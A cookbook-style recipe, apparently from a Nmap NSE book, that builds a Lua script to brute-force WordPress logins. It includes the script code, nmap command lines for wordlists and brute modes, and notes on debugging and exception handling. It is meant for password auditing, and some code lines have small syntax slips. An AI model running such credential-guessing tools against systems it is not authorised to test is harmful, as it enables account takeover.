Writing a brute force script

Brute force password auditing has become a major strength of the Nmap Scripting Engine. The library brute allows developers to quickly write scripts to perform their custom brute force attacks. Nmap offers libraries such as unpwd, which give access to a flexible username and password database to further customize the attacks, and the library creds, which provides an interface to manage the valid credentials found.

This recipe will guide you through the process of writing your own brute force script by using the NSE libraries brute, unpwdb, and creds to perform brute force password auditing against Wordpress installations.

How to do it...

Let's write an NSE script to brute force Wordpress accounts:

  1. Create the file http-wordpress-brute.nse and complete the information tags:
    description = [[
    performs brute force password auditing against Wordpress CMS/blog installations.
    
    This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses arestored using the credentials library.
    
    Wordpress default uri and form names:
    * Default uri:<code>wp-login.php</code>
    * Default uservar: <code>log</code>
    * Default passvar: <code>pwd</code>
    ]]
    author = "Paulino Calderon <calderon()websec.mx>"
    license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
    categories = {"intrusive", "brute"}
  2. Load the required libraries (Nmap 6.x format):
    local brute = require "brute"
    local creds = require "creds"
    local http = require "http"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
  3. NSE scripts that use the brute engine need to implement its Driver class as follows:
    Driver = {
      new = function(self, host, port, options)
      ...
      end,
      check = function(self)
      ...
      end
      login = function(self)
      ...
      end
      connect = function(self)
      ...
      end
      disconnect = function(self)
      ...
      end
    }
  4. Let's create the corresponding functions relevant to our script:
    • The constructor function takes care of reading the script arguments and setting any other options the script might need:
              new = function(self, host, port, options)
                  local o = {}
                  setmetatable(o, self)
                  self.__index = self
                  o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
                  o.port = port
                  o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
                  o.options = options
                  return o
                end,
    • The connect function can be left empty because in this case there is no need to connect to a socket; we are performing a brute force password auditing attack against an HTTP service (the library http takes care of opening and closing the necessary sockets when used inside our next login function):
               connect = function( self )
                  return true
                end,
    • The disconnect function also can be left empty for this script:
              disconnect = function( self )
                  return true
                end,
    • The check function is used as a sanity check before we begin our brute force password attack. Note that this function was marked as deprecated recently, and these checks will need to be moved to the main section in future versions:
                check = function( self )
                  local response = http.get( self.host, self.port, self.uri )
                  stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
                  -- Check if password field is there
                  if ( response.status == 200 and response.body:match('type=['"]password['"]')) then
                    stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
                    return true
                  else
                    stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
                  end
      
                  return false
    • And finally the login function:
               login = function( self, username, password )
                  -- Note the no_cache directive
                  stdnse.print_debug(2, "HTTP POST %s%s
      ", self.host, self.uri)
                  local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
                      -- This redirect is taking us to /wp-admin
                  if response.status == 302 then
                    local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
                    c:add(username, password, creds.State.VALID )
                    return true, brute.Account:new( username, password, "OPEN")
                  end
      
                  return false, brute.Error:new( "Incorrect password" )
                end,
  5. We left the main sectionof the code to initialize, configure, and start the brute engine:
            action = function( host, port )
              local status, result, engine
              local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
              local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
              local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
    
              engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
              engine:setMaxThreads(thread_num)
              engine.options.script_name = SCRIPT_NAME
              status, result = engine:start()
    
              return result
            end

How it works...

The library brute provides developers with an organized interface for writing NSE scripts that perform brute force password auditing. The number of brute scripts have grown a lot and currently NSE can perform brute force attacks against many applications, services, and protocols: Apache Jserv, BackOrifice, Joomla, Citrix PN Web Agent XML, CVS, DNS, Domino Console, Dpap, IBM DB2, Wordpress, FTP, HTTP, Asterisk IAX2, IMAP, Informix Dynamic Server, IRC, iSCSI, LDAP, Couchbase Membase, RPA Tech Mobile Mouse, Metasploit msgrpc, Metasploit XMLRPC, MongoDB, MSSQL, MySQL, Nessus daemon, Netbus, Nexpose, Nping Echo, OpenVAS, Oracle, PCAnywhere, PostgreSQL, POP3, redis, rlogin, rsync, rpcap, rtsp, SIP, Samba, SMTP, SNMP, SOCKS, SVN, Telnet, VMWare Auth daemon, and XMPP.

To use this library, we needed to create a Driver class and pass it to the brute engine as an argument. Each login attempt will create a new instance of this class:

Driver:login = function( self, username, password )
Driver:check = function( self ) [Deprecated]
Driver:connect = function( self )
Driver:disconnect = function( self )

In the script http-wordpress-brute, the functions connect() and disconnect() returned true all the time because a connection did not need to be established beforehand.

The login function should return a Boolean to indicate its status. If the login attempt was successful it should also return an Account object:

brute.Account:new( username, password, "OPEN")

In this script we are also storing the credentials by using the library creds. This allows other NSE scripts to access them, and users can even generate additional reports based on the results.

local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
      c:add(username, password, creds.State.VALID )

There's more...

The NSE libraries unpwdb and brute have several script arguments that users can tune for their brute force password auditing attacks.

To use different username and password lists, set the arguments userdb and passdb respectively:

$ nmap -p80 --script http-wordpress-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>

To quit after finding one valid account, use the argument brute.firstOnly:

$ nmap -p80 --script http-wordpress-brute --script-args brute.firstOnly <target>

To set a different timeout limit, use the argument unpwd.timelimit. To run it indefinitely, set it to 0:

$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=60m <target>

The official documentation for these libraries can be found at the following sites:

Debugging NSE scripts

If something unexpected happens, turn on debugging to get additional information. Nmap uses the flag -d for debugging and you can set any integer between 0 and 9:

$ nmap -p80 --script http-google-email -d4 <target>

Exception handling

The library nmap provides an exception handling mechanism for NSE scripts, which is designed to help with networking I/O tasks.

The exception handling mechanism from the nmap library works as expected. We wrap the code that we want to monitor for exceptions inside a nmap.try() call. The first value returned by the function indicates the completion status. If it returns false or nil, the second returned value must be an error string. The rest of the return values in a successful execution can be set and used as you wish. The catch function defined by nmap.new_try() will execute when an exception is raised.

The following example is a code snippet of the script mysql-vuln-cve2012-2122.nse (http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html). In this script a catch function performs some simple garbage collection if a socket is left open:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

The official documentation of the NSE library nmap can be found at http://nmap.org/nsedoc/lib/nmap.html.

Brute modes

The brute library supports different modes that alter the combinations used in the attack. The available modes are:

  • user: For each user listed in userdb, every password in passdb will be tried
    $ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
    
  • pass: For each password listed in passdb, every user in userdb will be tried
    $ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
    
  • creds: This requires the additional argument brute.credfile
    $ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
    

See also

  • The Making HTTP requests to identify vulnerable Trendnet webcams recipe
  • The Brute forcing HTTP authentication recipe in Chapter 4, Auditing Web Servers
  • The Brute-force password auditing Wordpress installations recipe in Chapter 4, Auditing Web Servers
  • The Brute-force password auditing Joomla installations recipe in Chapter 4, Auditing Web Servers
  • The Sending UDP payloads by using NSE sockets recipe
  • The Exploiting a path traversal vulnerability with NSE recipe
  • The Writing a brute force script recipe
  • The Working with the web crawling library recipe
  • The Reporting vulnerabilities correctly in NSE scripts recipe
  • The Writing your own NSE library recipe
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.221.41.214